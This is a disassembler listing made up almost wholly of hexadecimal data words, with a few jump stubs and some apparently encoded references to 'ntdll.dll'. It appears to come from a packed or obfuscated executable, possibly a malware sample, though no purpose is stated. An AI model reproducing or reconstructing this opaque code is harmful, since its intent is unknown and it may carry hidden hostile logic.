dd 0F9807BF8h, 0BDC78225h, 281h, 421F4EAh, 0AA4B3298h dd 6B2D755Bh, 0C6C49246h, 79774549h, 75406654h, 0D2664E73h dd 5BA918BCh, 0D9FF7179h, 0E80D0Bh, 2DB36C6Ch, 0F4E4615Fh dd 32980421h, 73739E83h, 57B723E5h, 23FA2BF1h, 0F78B4D73h dd 0E5AD7A2Eh, 0F7034155h, 85EB574Fh, 73238657h, 3CB91FE1h dd 486D6B38h, 23868254h, 0ECA50773h, 0D7B7082Ch, 2E60B8E7h dd 0F9F7C49Ah, 9B99678Dh, 0D9FA8E76h, 0AAA8759Bh, 47099D85h dd 7DE34F74h, 790B539Eh, 446AD698h, 6B537876h, 0FA200ED7h dd 0C49A2E2Ch, 797DFAF4h, 968AAFA9h, 6D0BD346h, 0A62CE547h dd 5B5FDCD6h, 0B66A8F8Dh, 0FEC5EAE8h, 0C1E7A760h, 895FF3F5h dd 240BDBBh, 0F75343DEh, 23B75E3Fh, 0A94D2356h, 7D496FCDh dd 0FCFBE77Bh, 53000000h, 3F645E2Dh, 0A688C357h, 9338E046h dd 7A3C7F73h, 3F4310E6h, 739303D9h, 0FF4BBD7Fh, 7A4A987Dh dd 0DC2236C2h, 0F5F113D8h, 1604298Fh, 28850B6h, 0EAAC7F73h dd 0E9B38056h, 13FB201Ah, 0DD1D41ADh, 6D5CEBECh, 0B6B666CCh dd 0C27F73h, 1ACF6A9Ah, 0E4ED6A83h, 22C08750h, 4485A969h dd 38275407h, 521FF589h, 55BBBD88h, 0D43A9AD8h, 7F73D604h dd 0DDA6E30h, 0BB31706Ch, 7E4Ah, 10E07700h, 1A807A4Ah dd 0B5768AAEh, 0A503CB2Ch, 0C4944811h, 0F43A5ECAh, 0B5680E26h dd 76AC9602h, 4C604846h, 99A27AE0h, 14D67F73h, 52F0B780h dd 7D431399h, 0A48CB1AFh, 0B3C6C13Eh, 3BB3135h, 3Bh, 3821F430h dd 9C086E68h, 5B5F2736h, 29895175h, 5BA615C3h, 0EB5D1F79h dd 795BA62Dh, 0EEECB947h, 9FD2288h, 795BA6D7h, 0F1B16AB0h dd 6AFE00CBh, 5960DC9Dh, 0AFDAC1h, 0F4070000h, 32980421h dd 755B5E9Fh, 0ADD33F01h, 824BDFE1h, 960200CEh, 8CC1D672h dd 0C795ECFFh, 0AECF63C9h, 4512DCAAh, 8BCE147h, 8A58723Ah dd 6E60EE0Ah, 7E1CE308h, 73713FC5h, 437EFBF6h, 6438C159h dd 90000000h, 0B312CA30h, 6426795Bh, 0C5C33134h, 69A6538h dd 1DF4CBh, 0ECE3494h, 2A7F7393h, 5EC4D468h, 0FF73939Eh dd 0FFF318DAh, 0FF7392DDh, 0C08039CDh, 6D6F3A60h, 7392DDFBh dd 19557FFh, 0DF45683Fh, 0FF739139h, 7A47793Bh, 4AAA167Ch dd 915484EAh, 1EE0FF73h, 9184748Ah, 2EF07F73h, 7AAB1h dd 0DDB10000h, 7Bh, 4814E0E4h, 302B04F3h, 52506448h, 0A125C306h dd 0FCB0D53Bh, 0AFB3302Eh, 1EBEE3E1h, 1CBC2245h, 187F73E6h dd 59BFBD8Ah, 0E65187EDh, 21E37F73h, 89EF4FBBh, 7F73E653h dd 0C68F23E5h, 73E611D2h, 0EBEDB97Fh, 454712C6h, 15CE4620h dd 6E94EA5Bh, 0A274A69Ch, 0B9F87ACh, 0A4D5520Bh, 0EEBB31A4h dd 12F0288Eh, 0C2847F73h, 0B11422Eh, 749A0000h, 0D084A9A7h dd 0F6DE0305h, 0F4C1FC90h, 0E5D9FE1Bh, 0F6DE5FA8h, 5212CB11h dd 3D625C2Ch, 85F4C155h, 0D44DC5Fh, 0D2273EE9h, 0EC80C87Ch dd 6600h, 1BF42D00h, 934A92F8h, 2CEE7F73h, 65345AC6h, 67C7D76Bh dd 4F747641h, 1FBDD367h, 197F7393h, 1E443257h, 4931564Ch dd 0C51B9FB5h, 10DF16E7h, 6D3DF116h, 519C4E73h, 0C93365A8h dd 26DF57AFh, 45A5FB6Ch, 2039DFh, 0E5793BD6h, 0CAAF2CE5h dd 0C864A4E2h, 488C8EA4h, 6799233Fh, 8F779C9Ah, 2600FFBh dd 0F43C0000h, 0F667FE1Bh, 1610E0CBh, 0E93B867Fh, 0BE3123A0h dd 3E16h, 1BF44300h, 46A667FEh, 0C1F11122h, 5EF2C598h dd 735E9548h, 79E5A77Fh, 5E65B319h, 4D0F7F73h, 1BA67EB9h dd 7B1214E0h, 0F359557h, 3A22473Dh, 739310C8h, 0CE62247Fh dd 2CDD93h, 0A6E40000h, 9338E046h, 7A3C7F73h, 2E4B24E6h dd 0CED09CC2h, 40A6FF3Ah, 7F73939Dh, 0FDF3C5EBh, 0F5CF0D8h dd 1BA6982Fh, 7B1214E0h, 0DCA06A57h, 26837570h, 0A0DE5B59h dd 0EE0AE7Ah, 0A50BF318h, 716B3B11h, 0BEC28F55h, 71F08058h dd 8CF2B463h, 825AC020h, 0B66371F0h, 355A5C28h, 0E9B5E74Dh dd 5D9353E7h, 6A3AC079h, 64C4E470h, 71F0DEFEh, 66985A63h dd 8F779C96h, 5B5525FBh, 0CC2D7E3Fh, 779D5D16h, 0B07DAFA5h dd 78481EB2h, 3C0CF27Eh, 93602642h, 71F75689h, 6ED43463h dd 6371F7AEh, 187408CAh, 20043A56h, 0E083A767h, 22A9742Ah dd 4D1DF387h, 14E1C753h, 6E42F116h, 27F5C38Eh, 0EA9EC329h dd 13F81D1Fh, 13EF8B1h, 47149A53h, 514F1D43h, 71FB39DFh dd 0D4AF3B63h, 3D390842h, 0F763C92Fh, 0E30802D1h, 424667FBh dd 965C7872h, 0AE1CBFC9h, 901E6371h, 435FC5C3h, 14E4B27Dh dd 0A70DF51Ah, 6FCCE82h, 0C37C1AE1h, 0B16A8009h, 2FCCBF1h dd 4C8986Eh, 95111285h, 0FFF9C995h, 268CF2DAh, 0EAE4B49Ah dd 5D970DCEh, 0A9A37399h, 0D65C1515h, 72744006h, 6635654Dh dd 0BE41923Eh, 4369D53Bh, 0E0E2AD73h, 7D7B487Ah, 0ACDC7058h dd 0E0FCF6C6h, 334F4D1Ah, 0DA6019FDh, 7EA4100Ah, 5F2EEBAFh dd 4701CDE6h, 40D4BCE1h, 46A6C510h, 935880E6h, 1ADC7F73h dd 739370A8h, 0BEBC8A7Fh, 37F9B199h, 3FDCDA3h, 0D0F6F66Ch dd 0F8E00503h, 1DF42964h, 3B866900h, 3123A0E9h, 2C92F2BEh dd 7C7393ECh, 4632C688h, 21h, 1DF473h, 9D40A669h, 9F7F7393h dd 46A646DDh, 0C1555320h, 1412E086h, 0DD6A577Dh, 36h, 1DF4E4h dd 0ECE3494h, 2A7F7393h, 6BD1CF9Ch, 40A69CD7h, 7F73939Dh dd 0B55FC7EBh, 5EA2846Dh, 319D7DCAh, 79AD6BD1h, 5C77F73h dd 1BA63671h, 7D1412E0h, 97A06A57h, 277F7382h, 0FFFD16F2h dd 7CA0F9FFh, 9A7F7393h, 0E927A4C1h, 93F52389h, 0BD7F7F73h dd 85875329h, 93AC6C60h, 0A2367F73h, 350329E9h, 930DCB31h dd 65277F73h, 0C9956BFFh, 78464AC7h, 360DFD7Ah, 0DC02F015h dd 2EA0F11h, 4049586Eh, 6CB2B909h, 7E4336B3h, 2A73FD87h dd 0A0000002h, 0B8AE80A6h, 99BEB486h, 0D4071DB1h, 7F7393h dd 0A86A3C2Dh, 0D1B9DED8h, 6E6C396Bh, 8FFB6149h, 5BBBAE29h dd 7642D075h, 1674F74h, 0B2B48084h, 0D0BD98Dh, 686634E8h dd 0B3D0A343h, 470EE147h, 0E2707373h, 41AF1517h, 0B4039EB5h dd 0CDAD643Fh, 1A00000Ch, 0D2D65349h, 85890604h, 363AB7B9h dd 0EDF16E64h, 0A2A52220h, 3A3805F4h, 0F0EAB9BDh, 0A2A46F73h dd 57512125h, 0BE24B4DAh, 795DC71Eh, 0E0D2471Ah, 86AA1610h dd 0FCCE49BAh, 0C9F9E106h, 0E97DC61Dh, 3E0C3220h, 17EAAC40h dd 0FA1C82EEh, 7A7521FAh, 5A264CB8h, 268CEC58h, 795D6EF6h dd 0B2CC082h, 14393B07h, 2A969060h, 6383604h, 31193E34h dd 6134D49Dh, 5478D844h, 68D62120h, 0A2B84CD9h, 7375169Fh dd 5BB11FE1h, 0A5B40508h, 0C3A13CAh, 0B6870000h, 713F43C0h dd 26F2F673h, 0D1A3A724h, 8D5A5EDBh, 430F128Fh, 2AA7A572h dd 0E05D5726h, 920F11DCh, 47C4BE8Eh, 0ED2B9121h, 87795DC6h dd 10E03FB4h, 1B817B4Ah, 968356F6h, 0F662C8CAh, 5BB3C590h dd 0DB6775h, 60023427h, 979B187Eh, 161CDC7h, 5B9E7D9Bh dd 0A135F779h, 92BD9080h, 30A29C6Ch, 795B9EE8h, 0C698CA8Ch dd 98FE6AD0h, 73094049h, 97BD29EBh, 395DC9CBh, 4BB9B907h dd 7A9B2F49h, 4E44163Ch, 1618E4BAh, 736D3DF1h, 0BADBAE4Eh dd 5088EE4Eh, 0E47325A2h, 187E8E22h, 790D9625h, 3FDD43A3h dd 0C16D0DCDh, 0FEDD5623h, 5A1CD481h, 0CA5E5828h, 0C43EAC6Eh dd 28AA2DDFh, 0B76964Dh, 0F2C30000h, 0AD7B7FFCh, 622E32AFh dd 0DDFE360h, 0C9969A17h dd 1F4B4ECBh, 66E3E1AEh, 1C999362h, 0CE4B4D18h, 8300FACAh dd 0B167CD5Dh, 0C3795DC5h, 10E07BF0h, 0A303F116h, 73939F3Dh dd 43D7997Fh, 1985AE81h, 2F0DF9F5h, 673A73A2h, 4E5B9BB2h dd 2939CD33h, 5B9CD4C3h, 86062A75h, 9CB91463h, 5C723B7h dd 54244A88h, 0B94D355Ah, 7D4B15E3h, 53A85A7Fh, 0DA898B07h dd 9C197FE5h, 4DCACC98h, 0B580A6E4h, 8A5D1FB3h, 0A497FD69h dd 22755BBCh, 9B2F31FCh, 0EB117D3Fh, 11F91E20h, 1CC0B47Dh dd 67795B84h, 8EEB6821h, 28C15946h, 7Fh, 1412E055h, 6F6D3BEFh dd 0CEC4964Ah, 2927F5A9h, 79486EACh, 0DD53CBB5h, 41A7132Bh dd 0DEA0341Ch, 5E7EE40Bh, 0DA7F73F3h, 0E046B218h, 755BD329h dd 0F11B894Bh, 0FBBE7B55h, 0A8A6920h, 6D70000h, 0C18F9310h dd 764246C3h, 21F3F774h, 0DDAAAE2Bh, 335F62DFh, 7AF7F5C2h dd 30ADA776h, 0E25F612Ch, 97140EDEh, 5D7BE171h, 0D7795DC4h dd 12E08F04h, 5A909714h, 0C2000000h, 0A9CED09Ch, 0E0F22DC1h dd 4FEF1412h, 85EB577Ch, 755B5F62h, 0AACD8814h, 0D5607581h dd 0F12D016Fh, 0FCD7BE7Bh, 0A2745h, 0ADA37400h, 605E2C30h dd 1113DFE3h, 0C8BE9094h, 7C7A474Bh, 5FAEFCFFh, 13179492h dd 0C9CD4A44h, 7B7FFCFEh, 0E34B1ABh, 0C4C0187Eh, 0A174795Dh dd 1610E02Ch, 12DD03F1h, 6F03EB10h, 0AACFC999h, 0E05D1612h dd 0BB312B99h, 1D31Dh, 36E54A00h, 74200BDEh, 0F7C0ACAh dd 0AE0E7AE0h, 0DF6B688h, 0D91C1DB0h, 3EB1076h, 1262596Fh dd 0D294755Bh, 8B9F2046h, 0A4776EE2h, 0BEAD137Fh, 0D88C9BE7h dd 7E51F116h, 0E983E955h, 8B8AB614h, 0CE342EFDh, 726C3C62h dd 2721F1F5h, 400A6BB9h, 0F3AA85BEh, 984h, 8D0A00D1h, 40BDBB89h dd 0F16E703Ch, 0A8251BEDh, 5CD9D7A4h, 0EFBC0D59h, 0A17074F1h dd 5B262AA7h, 8D8DC59h, 0DB6B910Eh, 5DCBA775h, 89FED179h dd 0B5B380A6h, 23B7B583h, 5C817F4Dh, 60CCE9BCh, 214D6DFAh dd 0E5B5DB75h, 4ADEC6EBh, 929460EEh, 0B31F856Dh, 47C4BE8Dh dd 557A7443h, 7BA10767h, 0FD795DD6h, 12E5A73Bh, 0C81F85F1h dd 0AA7375E6h, 87567CE8h, 3D0C108Dh, 0E70D5979h, 78FFA34Dh dd 0CF9ECE26h, 3A5FC523h, 4EBCB686h, 0B4059B8Ch, 0ED7E3510h dd 3A000008h, 0F2F67369h, 0A5A92624h, 565AD7D9h, 0D118E84h dd 0C2C54240h, 5A582594h, 100AD9DDh, 0C2C48F93h, 77714145h dd 0DE44D4FAh, 795DCB3Eh, 0B2F2673Ah, 7393EC34h, 0A962F67Fh dd 8EB78A36h, 0A32DBC22h, 6F93755Bh, 28BB38A1h, 0E23AA0AFh dd 96795B55h, 7EDA6ED4h, 5E2A50BCh, 1CEFDF5Ch, 17258BF7h dd 617375F2h, 3D0D339Fh, 0D2929E79h, 21EEC842h, 0B016FE23h dd 698FCD4Ah, 927A9F99h, 5E5828FEh, 4FDCF0h, 16CDA8B4h dd 860h, 69E6DCADh, 1C999765h, 0CD4A4C18h, 8401F7C9h, 38B5B380h dd 0CB986935h, 7D4C50CDh, 37020683h, 0E4B4B835h, 0B7476DEAh dd 5DCA8B51h, 65DAAD79h, 73937CA0h, 0BCB6867Fh, 577C4F3Fh dd 0FBF5C5EBh, 81F15767h, 0E3755B44h, 0C48FB521h, 764145C2h dd 9984F74h, 9F000008h, 980421F4h, 5BBBB732h, 0F217D975h dd 5B8BDAFEh, 0A65FA579h, 59475029h, 16066C1h, 0E0930000h dd 0EE1315h, 7D110BDAh, 0B9DED8A7h, 163B3505h, 29959762h dd 0A73B3103h, 0B5B78286h, 0F316F090h, 25D1F7CFh, 45B7C2DBh dd 7F735297h, 0D79DFA1h, 85191BE7h, 52110F75h, 71337F73h dd 33EC804Ch, 63E0E2ADh, 6D92945Fh, 0BF8D597Fh, 6C91F7EDh dd 1EDAF084h, 0C87F7350h, 25D9FEF8h, 5E385D53h, 0DBA72DE6h dd 66CCB4D9h, 8552781Ch, 0E1AE6287h, 0E9E97DE3h, 264C7030h dd 5D2AC04Dh, 79441AAEh, 45AB0B77h, 7F73B497h, 2A4BDFA1h dd 0D743603Ah, 73B4A371h, 6C37C57Fh, 0F75D456Ah, 4F4F1ED2h dd 73B433E9h, 1D83457Fh, 0D3CD9CA0h, 302AFAAEh, 8C8A570Bh dd 0E6E8B367h, 0A35CFAC1h, 9BFB9FE9h, 73B4E735h, 3BCF917Fh dd 2DFC823Bh, 0E3B2B633h, 5124C4E9h, 0B410C82Eh, 62247F73h dd 0A3090FCh, 92A83C3Eh, 755B9DBBh, 877D4FDDh, 7A487A62h dd 96F577Ch, 0BFB9888Ch, 320FA9Ah, 0D3E73197h, 0C789795Bh dd 8942D6A2h, 0BD3A3403h, 63B91F7Fh, 15795BD3h, 1AE9BF53h dd 1690B420h, 735748FBh, 0B0079C87h, 0CB316C37h, 0FBCE6E37h dd 59086EDAh, 0DB7373A9h, 0B86FAD13h, 47097323h, 2664E1h dd 28103533h, 95292BF6h, 79F6F0BFh, 3CA8AA75h, 0B8A676DCh dd 89587323h, 8115D78Fh, 21F4F760h, 0AF329804h, 0D1755B5Fh dd 6836EA0Fh, 0F484ED6Ah, 0E7DB001Dh, 7F739335h, 0CF8F488Eh dd 93D3096Fh, 0D9657F73h, 9A6143CFh, 760A70E1h, 31C0D0A9h dd 45E6BBh, 0E0130000h, 7B7D4812h, 0DCFCF015h, 0C67F7393h dd 25F37932h, 7297BB27h, 23970AD3h, 97B36595h, 0AE423465h dd 0A7B5F91Ah, 597F7394h, 0C0B5557Bh, 0C134F82Fh, 0C6B9E414h dd 0CEFB1A4Dh, 0BF257DCFh, 0FF952459h, 0E02BFFFFh, 0ED7F1610h dd 1DF4D4h, 0E92C9569h, 0BE3123A0h, 5B16h, 0D34A6E00h dd 2521FFAEh, 2527F325h, 49841800h, 0B3B580A6h, 65865D1Fh dd 9840A6CEh, 0E87F7393h, 8EFCEC4h, 962AFE2Eh, 0A6E1783Ah dd 52542046h, 935880E6h, 1ADC7F73h, 46A64B86h, 739338E0h dd 0E67A3C7Fh, 0AD444210h, 0B4B280A6h, 7300E384h, 0EE82D5ACh dd 16DDA28Fh, 0E4000000h, 69001DF4h, 939840A6h, 0CBAB7F73h dd 0E01BA634h, 577D1412h, 1214E06Ah, 9323F9EDh, 1FC37F73h dd 972B2DF9h, 8C58DE97h, 8EF4EEBEh, 0D73D311h, 7F7393CFh dd 0FD13A769h, 7F73834Ch, 0F4830338h, 0E00AFFFFh, 660E4A12h dd 63B06DC4h, 1C4280FDh, 462E534Dh, 0F81DF0B2h, 16C62C8Ch dd 227F7349h, 56BCCC60h, 755B7577h, 0FD8A15A1h, 78EA1C1Eh dd 27F9ED12h, 0A0795BE8h, 5524A15Ah, 61C159A6h, 1Ah, 0AE6195B9h dd 9F850B17h, 0C5ADD2D4h, 635D2D5Fh, 87C2563Eh, 1DDh, 21F4E400h dd 0C3329804h, 0A5755B86h, 70D0BEE3h, 5B9ED20Ah, 10A46679h dd 0F16E6C3Ah, 5B9E81ADh, 9C9E6979h, 0EDBBE11Fh, 0B95B1F25h dd 0CE341756h, 0F8DCFC62h, 9658795Bh, 5F612C02h, 0D11B8B3Ah dd 3133FF25h, 9090240Ch, 0B88651D7h, 0E1C9EEE8h, 2AFAFE7Bh dd 7E4E1430h, 52B81884h, 795BFF8Ah, 9858ECAEh, 3FC57E62h dd 9EE9756Fh, 0B12390E9h, 0DA26BBh, 0F4530000h, 6D91FD1Ah dd 84AA71Eh, 1550E4E8h, 38E046A6h, 0C27F7393h, 7C3EF6F4h dd 0AF72D8E8h, 0E07F7393h, 1BA66900h, 1137FBB6h, 75B04446h dd 0AA1610E0h, 92B7B984h, 0EDDB16AAh, 80CD9FFh, 73937AA2h dd 0D63CFE7Fh, 1DF40742h, 2C956900h, 3123A0E9h, 3016BEh dd 0E6E0000h, 739370A8h, 0AE42047Ch, 1DF473h, 9840A669h dd 9C7F7393h, 1BA643DAh, 7D1412E0h, 57DD6A57h, 0F000000h dd 939349AFh, 0E3A57F73h, 1DF4144Fh, 2686634h, 2246A66Bh dd 176945Ch, 0FFD10396h, 0B95F7509h, 77F7377h, 3A8D0AE3h dd 60F41498h, 0A69C3313h, 4882A61Bh, 0CEACFAD3h, 5826FC90h dd 80A6C35Ah, 0A68EB3B5h, 0CBF1B312h, 29DD02FCh, 523A5F59h dd 0EDEFBAECh, 1DDD1E59h, 0E4FFFFFFh, 0F11610E0h, 0F6736D3Dh dd 0A6123306h, 21B5B380h, 92A0AB11h, 0C2755Bh, 0E4937094h dd 777277CBh, 0F2261AE3h, 0CD795BB1h, 81815177h, 5BB1FD1Bh dd 4FB57779h, 0AEAE422Ah, 4D0178F5h, 6D91C159h, 2FD54E43h dd 13FF93E2h, 40h dd 421F440h, 0BEAB3298h, 5CD755Bh, 0EF1412DFh, 86479507h dd 2FF1795Bh, 6CB0A4C9h, 96795B86h, 0F1A5CAC8h, 29032822h dd 0CD3EF8B1h, 0E80ECE87h, 0EF61B1Dh, 44CCAD7Ah, 0AEAC159h dd 17000001h, 0AEB280A6h, 73939048h, 7CE2A47Fh, 5DB6F57h dd 0A9CF3B35h, 8049DDDBh, 0D5FBFFCCh, 4696080Ah, 0F27F7393h dd 0B7A5CA30h, 932BF157h, 8B4D7F73h, 575121F7h, 4F1E4432h dd 1BEBC155h, 4066A421h, 9E507573h, 83D0A9BAh, 6BFF65E1h dd 731C4F55h, 251FEF7Fh, 0DAD4A4A8h, 167C7B5h, 7F7304DBh dd 45079B5Dh, 85E55172h, 7304F91Fh, 25B97B7Fh, 0C28FB515h dd 2AF258C4h, 4E7F7304h, 8BE2F88Ch, 39755B32h, 0B07C4813h dd 0CCE0C689h, 51395EC4h, 229F61BDh, 0F3F1BEE4h, 9052E6CEh dd 2FCCCBDh, 53CA309Ch, 657375E0h, 441137A3h, 678BC946h dd 61ACADA0h, 0D5AB3F20h, 0A29C0A08h, 4AB400B7h, 25EB86Fh dd 0DAAB0000h, 956367E4h, 4A161A97h, 0F5C7CB48h, 0B17E82FFh dd 673336B3h, 4ECBC996h, 4817B4Ah, 0B6333500h, 6BE8E2B2h dd 894FB545h, 0AB795DCCh, 13E063D8h, 0C4949815h, 0E90F4DCAh dd 1FEA1C1Eh, 7C10F81Dh, 3821F441h, 624A6F69h, 0B32A90FCh dd 0C5755BBEh, 36EADE03h, 91795B86h, 6415924Bh, 2EC15944h dd 0B2B068CEh, 2C4795Bh, 0F6826Eh, 0A6AF0000h, 0CDA4B582h dd 7AD097Bh, 2621A12Bh, 0A97F1379h, 6BADFD9h, 0F3937139h dd 0CED2B91h, 0C5877F73h, 63F2C95h, 0CEE4349Ah, 0CE907F73h dd 9D6FC68h, 0CCFEE60Bh, 0A16AFE00h, 73D2A7ADh, 17E70D7Fh dd 7C10F81Dh, 70DCD6A6h, 14807A4Ah, 73F26EAEh, 0B4480A7Fh dd 2C315593h, 738DC480h, 496E6837h, 9167FB61h, 2A2C7C1h dd 3A9A062Fh, 21464814h, 0F88FA539h, 9A755B84h, 1D423C0Ch dd 3D63CF35h, 634B7072h, 0EBBEAECFh, 82F85ECAh, 0F273757Eh dd 0D19EC430h, 754167D3h, 0BABEDF73h, 5B81EFEDh, 25B40124h dd 142934Ah, 0BE8F0000h, 79474BC8h, 2EFAFE7Bh, 0D9ABAF2Ch dd 956266E3h, 4B171A97h, 32AFAD7Ah, 0E8655F2Eh, 9A1719E4h dd 4FCCC696h, 0E5339929h, 8F795DF3h, 13E047BCh, 0C4949815h dd 0AF0F4DCAh, 73939349h, 0B3E3A57Fh, 6E067CEEh, 1752E678h dd 0F11610E0h, 7736D3Dh, 821614E1h, 0A99E7161h, 0B88016DAh dd 315A5B3Ah, 99F965CBh, 1AD70E75h, 61F57197h, 5B5ABC4Bh dd 7948D675h, 4DAD197Fh, 5ABA31E7h, 0ED814379h, 0EDE7B7DDh dd 0A29C6C70h, 0E90ADD7Dh, 6786177Dh, 0F2B47308h, 4BBAE84h dd 8C431EB4h, 0A0h, 0A9261CEDh, 5CD9D7A5h, 0D8A8C58h, 0C4413709h dd 78F5F3C0h, 0BD82975h, 0BD8C900Dh, 774246C3h, 24F4F875h dd 0F787AD2Ah, 5DF34B91h, 0A51AED79h, 693821F4h, 0B4D9D3A3h dd 940066CCh, 214EB52Eh, 0E80DCF75h, 0CE9E6434h, 0B3F16ED4h dd 53B9C18Dh, 795DD685h, 0F387EDAFh, 2E534D1Dh, 0F6750D3Ah dd 9E57CF72h, 0D14E4818h, 9703FDCDh, 7B0BD137h, 6B2D72A0h dd 486D6B39h, 4F03CC60h, 9662877Dh, 0F3C34902h, 0A8787CF9h dd 11D289AEh, 0D9000000h, 0EAB280A6h, 0C58D34D5h, 12379D4Bh dd 1A67962Ah, 0F4190FE0h, 51767040h, 0ABD0D29Dh, 92E28F7h dd 658A8855h, 0C1E6E4B1h, 20453B0Dh, 799EA06Ch, 0D4F9F7C5h dd 700D68FFh, 14890000h, 0E2895224h, 4C281h, 0EA810000h dd 4, 5C241487h, 68243C89h, 1DCDh, 68243489h, 62E46F5h dd 81243C8Bh, 4C4h, 348B5400h, 4C48124h, 51000000h, 4E895957h dd 348B5908h, 0E2895224h, 4C281h, 0C2810000h, 4, 5C241487h dd 51243C8Bh, 0C181E189h, 4, 8704C183h, 0E95C240Ch, 0FFFA1DB1h dd 409E25CEh, 0B8B8D7D8h, 3062E61h, 85C650C5h, 6280D25h dd 17256847h, 0B5FFCF38h, 6282DD5h, 3BBB858Dh, 0D0FF0628h dd 858DD88Bh, 6282FD5h, 1046850h, 0D3FF0000h, 0D2585C6h dd 68530628h, 8307F8BFh, 2DD5B5FFh, 858D0628h, 6283BBBh dd 8589D0FFh, 62E44C3h, 3311BD83h, 0F000628h, 0B84h, 259D8B00h dd 0E906280Eh, 5, 0BBh, 1006800h, 0B58D0000h, 62E44C7h dd 95FF5356h, 6280201h, 44C7B58Dh, 0F003062Eh, 1E9h, 3E804E00h dd 9840F5Ch, 80000000h, 850F2F3Eh, 0FFFFFFEDh, 8D0006C6h dd 2E44C785h, 95FF5006h, 62E44C3h, 0EAE0FF58h, 3271E945h dd 611D7F85h, 517991EEh, 287A16EDh, 6A50D2A4h, 610E69DBh dd 9971C656h, 3C5E0B25h, 0FA311A58h, 0C67E7A97h, 58491321h dd 0BA7BD493h, 127629FBh, 1D68CB35h, 170EAD32h, 0E11AD67h dd 0A3E4210h, 8C2D44A9h, 0A234CA9Bh, 0B80006FFh, 3D7DE467h dd 0A1373E5Ch, 53316671h, 9514C32Fh, 1C2D18C7h, 822FA2C4h dd 344D5A8Fh, 48024B4Bh, 6232401Dh, 0B4656773h, 0E85BF5ABh dd 8, 886214D1h, 31D0B5E8h, 0C6E98051h, 7E95E59h, 80000000h dd 55B2A897h, 0C681701Dh, 59E9h, 1638B8h, 70CF8100h, 8B781297h dd 77D1811Eh, 81419B4Ch, 404639EBh, 0CF8B6613h, 0B6F2F381h dd 0AE85056h, 0D000000h, 3B824DFAh, 0C5056387h, 0BE941h dd 0E49D0000h, 341572D9h, 985804B5h, 0EB8159A7h, 6E72AB64h dd 17810Fh, 0E9600000h, 0Eh, 7D74C436h, 0FB1A453Eh, 174FE9F5h dd 6160E910h, 0EE95361h, 0A8000000h, 98FC2594h, 0A66BA53Bh dd 70F51053h, 0F068F9Ah, 0EE83D1B7h, 0FEC68001h, 0F4E4E4Eh dd 1088h, 9E800h, 0DD6F0000h, 3727525Ch, 0FC79ADACh, 1E8815Ah dd 0F000000h, 1C85h, 77E98100h, 0E96D8312h, 39h, 0F4BE5DC8h dd 75D697CEh, 0C59AAE95h, 43C04D20h, 13840F00h, 51000000h dd 0CE9h, 3133F800h, 1618E3B6h, 0A83F9EEAh, 28E959AAh dd 78FFFFFFh, 451458Fh, 0F3E692C4h, 9E812h, 0B9990000h dd 0BB64E988h, 6687C846h, 0BA5BC88Bh, 345D8BCFh, 5E8CC381h dd 0F88B0000h, 0D0249BEh, 37F68154h, 0FF540D15h, 0DA816633h dd 6658C788h, 0F081FA8Bh, 244C72F7h, 0E759C081h, 0BF6676A1h dd 0C081EE54h, 3CEFC561h, 0CE8h, 67F3B100h, 3AE20997h dd 7E28A566h, 5AFE8B22h, 66038F50h, 839FA3BAh, 8E0F03EBh dd 2, 0E84B0FB2h, 0Ch, 0A186EDCBh, 13ED4646h, 4EAFC768h dd 1EE8159h, 0F000000h, 0FFFF9A85h, 8E9FFh, 8FA70000h dd 0C669EC9Ah, 55E9FD0Dh, 56000000h, 9329E2D4h, 9DE61D8Ch dd 6E2E81E8h, 6C6C6474h, 6C6C642Eh, 0BD146700h, 0B98003B2h dd 0FEh, 0Dh dup(0) ; --------------------------------------------------------------------------- jmp loc_5AFF21 ; --------------------------------------------------------------------------- push 62E6698h jmp loc_551321 ; --------------------------------------------------------------------------- push 62E6760h jmp loc_551321 ; --------------------------------------------------------------------------- push 62E680Ch jmp loc_551321 ; --------------------------------------------------------------------------- push 62E68ECh jmp loc_551321 ; --------------------------------------------------------------------------- push 62E69EAh jmp loc_551321 ; --------------------------------------------------------------------------- push 62E6A9Ah jmp loc_551321 ; --------------------------------------------------------------------------- db 34h, 63h, 6Dh dd 201EECF0h, 0D1D39FA3h, 887E5054h, 3C3A070Bh, 1FEEBCBFh dd 0D3D75452h, 898D0A04h, 3B3FBCBEh, 0CEF4716Bh, 0F600D83Eh dd 6134795Dh, 18DDECh, 0E0E40000h, 3F11610h, 81150BDDh dd 64E1DBABh, 7393FC20h, 393B067Fh, 21F453BCh, 14389804h dd 0B28A04h, 0D2E87CD6h, 755B40BBh, 4FAF1BDDh, 5B4033E9h dd 0EF834579h, 40EE3226h, 93D9795Bh, 21C5DDAh, 479AC15Ah dd 0F2000002h, 6E02FCCCh, 78DE533h, 7B714334h, 7443A915h dd 7E755B86h, 0DA2C50BCh, 0C5070C3Ah, 0AACFD19Dh, 98C85CC2h dd 9FDBF72h, 8BA87B3Dh, 8359BF1Fh, 0B5B524EDh, 355A5C27h dd 4353E74Dh, 0CF98EDDh, 126E8BFh, 0F9658E61h, 21EEF993h dd 6DD99BA5h, 7D7747h, 0DCFC62C2h, 58A9D96Ah, 5C2C0296h dd 0E65F462h, 2E096EF9h, 4A677h, 81774800h, 34320004h dd 0E5E7B3B7h, 9C926468h, 504E1B1Fh, 3382D0D3h, 0E7EB6866h dd 9DA11E18h, 4F53D0D2h, 0E208857Fh, 0F52CEC52h, 7548795Dh dd 1610E000h, 557E51F1h, 0A90883E9h, 682A755Bh, 2D89ADEBh dd 7F4E6303h, 76B3CD0h, 2D99BA8Dh, 0D1076DCDh, 63795B98h dd 98E7359Bh, 0CF91795Bh, 0F8BFD569h, 0FA73738Dh, 7CA19F6Ch dd 98926294h, 99258B73h, 87855379h, 314A7A62h, 86B8E131h dd 0CF687E12h, 0C70B8137h, 0FD63CFF4h, 0D1B52F6Eh, 6E893054h dd 33028515h, 9B141EE0h, 9B2F959Dh, 0B8587D3Fh, 0E564F6E5h dd 0F9D77B16h, 0A7C12793h, 0C9DE48C7h, 0A5759B07h, 5A2A2EABh dd 0E671F260h, 22FD0911h, 3DE6Bh, 0B9AF8000h, 6C6A383Ch dd 1D1FEBEFh, 0D4CA9CA0h, 88865357h, 6B5A080Bh, 1F23A09Eh dd 0D5D95650h, 878B080Ah, 1A40BDB7h, 0F4F4248Ah, 0AD80795Dh dd 0B480A638h, 78481EB2h, 0E6B9597Eh, 0ACEB51BDh, 0C6755BB1h dd 0C4978704h, 73D3339Fh, 5BB1CF0Dh, 6DDD6979h, 4A6F9B2Bh dd 0BFD569CFh, 730926FFh, 6FCF3BFDh, 68B27E49h, 4B167A6Eh dd 0B76B90F6h, 1783E9EBh, 